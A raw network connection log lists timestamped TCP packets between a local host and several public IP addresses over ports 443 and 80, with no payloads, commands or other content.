Nov 7, 2024 17:25:40.110831022 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.111044884 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.111052036 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.112107992 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.112256050 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.112602949 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.112663984 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.112783909 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.112790108 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.151241064 CET	443	49922	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.151294947 CET	443	49922	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.151556015 CET	49922	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.153033972 CET	49922	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.153053045 CET	443	49922	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.153064013 CET	49922	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.153069019 CET	443	49922	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.156838894 CET	49929	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.156862020 CET	443	49929	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.157026052 CET	49929	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.157208920 CET	49929	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.157215118 CET	443	49929	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.178073883 CET	443	49921	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.178159952 CET	443	49921	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.178211927 CET	49921	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.178344011 CET	49921	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.178355932 CET	443	49921	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.178412914 CET	49921	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.178420067 CET	443	49921	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.182862997 CET	49930	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.182887077 CET	443	49930	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.183087111 CET	49930	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.183165073 CET	443	49925	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.183278084 CET	49930	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.183290005 CET	443	49930	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.183567047 CET	49925	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.183582067 CET	443	49925	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.184273005 CET	49925	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.184278011 CET	443	49925	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.276211977 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.276531935 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.318281889 CET	443	49925	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.318487883 CET	443	49925	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.318542957 CET	49925	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.321783066 CET	49925	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.321794033 CET	443	49925	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.321803093 CET	49925	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.321808100 CET	443	49925	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.329621077 CET	49931	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.329636097 CET	443	49931	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.329725027 CET	49931	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.330012083 CET	49931	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.330023050 CET	443	49931	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.373167992 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.373198986 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.373207092 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.373236895 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.373249054 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.373262882 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.373298883 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.373312950 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.373346090 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.373361111 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.381990910 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.382014990 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.382025957 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.382044077 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.382051945 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.382054090 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.382078886 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.382090092 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.382129908 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.382143974 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.490590096 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.490617037 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.490638971 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.490653992 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.490664959 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.490670919 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.490679979 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.490732908 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.490741014 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.490781069 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.507215023 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.507232904 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.507255077 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.507268906 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.507309914 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.507340908 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.507345915 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.507406950 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.527712107 CET	49932	443	192.168.2.6	152.195.19.97
Nov 7, 2024 17:25:40.527723074 CET	443	49932	152.195.19.97	192.168.2.6
Nov 7, 2024 17:25:40.527925014 CET	49932	443	192.168.2.6	152.195.19.97
Nov 7, 2024 17:25:40.528161049 CET	49932	443	192.168.2.6	152.195.19.97
Nov 7, 2024 17:25:40.528172970 CET	443	49932	152.195.19.97	192.168.2.6
Nov 7, 2024 17:25:40.542943001 CET	443	49926	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.551305056 CET	49926	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.551321983 CET	443	49926	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.552516937 CET	49926	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.552521944 CET	443	49926	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.605730057 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.605745077 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.605770111 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.605803013 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.605820894 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.605833054 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.605878115 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.605878115 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.629064083 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.629100084 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.629144907 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.629185915 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.629225969 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.629235029 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.629277945 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.629296064 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.677522898 CET	443	49928	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:40.677764893 CET	49928	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:40.677781105 CET	443	49928	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:40.678173065 CET	443	49928	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:40.678261042 CET	443	49927	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:40.678494930 CET	443	49926	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.678519011 CET	443	49926	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.678566933 CET	443	49926	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.678621054 CET	49926	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.679385900 CET	49928	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:40.679488897 CET	443	49928	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:40.680006981 CET	49927	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:40.680020094 CET	443	49927	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:40.680366039 CET	443	49927	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:40.680668116 CET	49927	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:40.680736065 CET	443	49927	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:40.722959042 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.722999096 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.723052979 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.723069906 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.723148108 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.723148108 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.723365068 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.723417997 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.723424911 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.723440886 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.723501921 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.750397921 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.750421047 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.752468109 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.752490997 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.752545118 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.752552032 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.752605915 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.754498959 CET	49928	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:40.754504919 CET	49927	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:40.755667925 CET	49926	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.755677938 CET	443	49926	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.800488949 CET	49933	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.800518990 CET	443	49933	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.800606012 CET	49933	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.812098026 CET	49933	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.812112093 CET	443	49933	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.876980066 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.877006054 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.877070904 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.877078056 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.877121925 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.895745039 CET	443	49929	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.897371054 CET	49929	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.897388935 CET	443	49929	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.897989035 CET	49929	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.897994995 CET	443	49929	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.908716917 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:40.913501024 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:40.927743912 CET	443	49930	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.928276062 CET	49930	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.928304911 CET	443	49930	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.928927898 CET	49930	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.928941965 CET	443	49930	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.000310898 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.000335932 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.000396967 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.000406027 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.000493050 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.000493050 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.027595997 CET	443	49929	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.029014111 CET	443	49929	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.029459953 CET	49929	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.029514074 CET	49929	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.029531956 CET	443	49929	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.029594898 CET	49929	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.029601097 CET	443	49929	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.032574892 CET	49934	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.032618046 CET	443	49934	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.032696962 CET	49934	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.032983065 CET	49934	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.032999992 CET	443	49934	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.060548067 CET	443	49930	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.060632944 CET	443	49930	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.060704947 CET	443	49930	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.060827971 CET	49930	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.061356068 CET	49930	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.061374903 CET	443	49930	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.061386108 CET	49930	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.061393976 CET	443	49930	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.070384026 CET	49935	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.070425034 CET	443	49935	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.070687056 CET	49935	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.071111917 CET	443	49931	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.072416067 CET	49931	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.072452068 CET	443	49931	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.072602034 CET	49935	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.072623014 CET	443	49935	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.073019028 CET	49931	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.073029041 CET	443	49931	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.122860909 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.122888088 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.122941971 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.122951984 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.122988939 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.123003006 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.141289949 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.141351938 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.141412020 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.141423941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.141463041 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.141552925 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.141566992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.141577959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.141588926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.141609907 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.141612053 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.141628981 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.141640902 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.141642094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.141655922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.141659021 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.141688108 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.141721964 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.141973972 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.142018080 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.147211075 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.147264957 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.147272110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.147381067 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.203860044 CET	443	49931	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.203927994 CET	443	49931	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.203989029 CET	49931	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.204258919 CET	49931	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.204272032 CET	443	49931	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.204288006 CET	49931	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.204293013 CET	443	49931	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.207751989 CET	49936	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.207770109 CET	443	49936	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.207839966 CET	49936	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.208000898 CET	49936	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.208014011 CET	443	49936	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.245228052 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.245251894 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.245306015 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.245313883 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.245372057 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.247947931 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.247965097 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.248030901 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.248037100 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.248992920 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.256829023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.256858110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.256865978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.256911039 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.256923914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.256927013 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.256936073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.256966114 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.257025003 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.257320881 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.257333994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.257348061 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.257379055 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.257400036 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.257651091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.257697105 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.257708073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.257729053 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.257745981 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.257761002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.257800102 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.264636993 CET	443	49932	152.195.19.97	192.168.2.6
Nov 7, 2024 17:25:41.264879942 CET	49932	443	192.168.2.6	152.195.19.97
Nov 7, 2024 17:25:41.264889956 CET	443	49932	152.195.19.97	192.168.2.6
Nov 7, 2024 17:25:41.265957117 CET	443	49932	152.195.19.97	192.168.2.6
Nov 7, 2024 17:25:41.266021013 CET	49932	443	192.168.2.6	152.195.19.97
Nov 7, 2024 17:25:41.267301083 CET	49932	443	192.168.2.6	152.195.19.97
Nov 7, 2024 17:25:41.267374039 CET	443	49932	152.195.19.97	192.168.2.6
Nov 7, 2024 17:25:41.267627954 CET	49932	443	192.168.2.6	152.195.19.97
Nov 7, 2024 17:25:41.267635107 CET	443	49932	152.195.19.97	192.168.2.6
Nov 7, 2024 17:25:41.380657911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.380673885 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.380686998 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.380697966 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.380739927 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.380769968 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.380768061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.380815983 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.381016970 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.381047964 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.381088972 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.381095886 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:41.381108046 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.381138086 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:41.381360054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.381371975 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.381383896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.381396055 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.381408930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.381417036 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.381422043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.381444931 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.381459951 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.383012056 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.384510040 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.395987034 CET	443	49932	152.195.19.97	192.168.2.6
Nov 7, 2024 17:25:41.396003008 CET	443	49932	152.195.19.97	192.168.2.6
Nov 7, 2024 17:25:41.396073103 CET	443	49932	152.195.19.97	192.168.2.6
Nov 7, 2024 17:25:41.396076918 CET	49932	443	192.168.2.6	152.195.19.97
Nov 7, 2024 17:25:41.396182060 CET	49932	443	192.168.2.6	152.195.19.97
Nov 7, 2024 17:25:41.398494005 CET	49932	443	192.168.2.6	152.195.19.97
Nov 7, 2024 17:25:41.398509026 CET	443	49932	152.195.19.97	192.168.2.6
Nov 7, 2024 17:25:41.487868071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.487884045 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.487898111 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.487934113 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.487974882 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.488056898 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.488069057 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.488080978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.488091946 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.488100052 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.488135099 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:41.488600016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.488617897 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:41.488630056 CET	80	49911	95.215.204.182	192.168.2.6
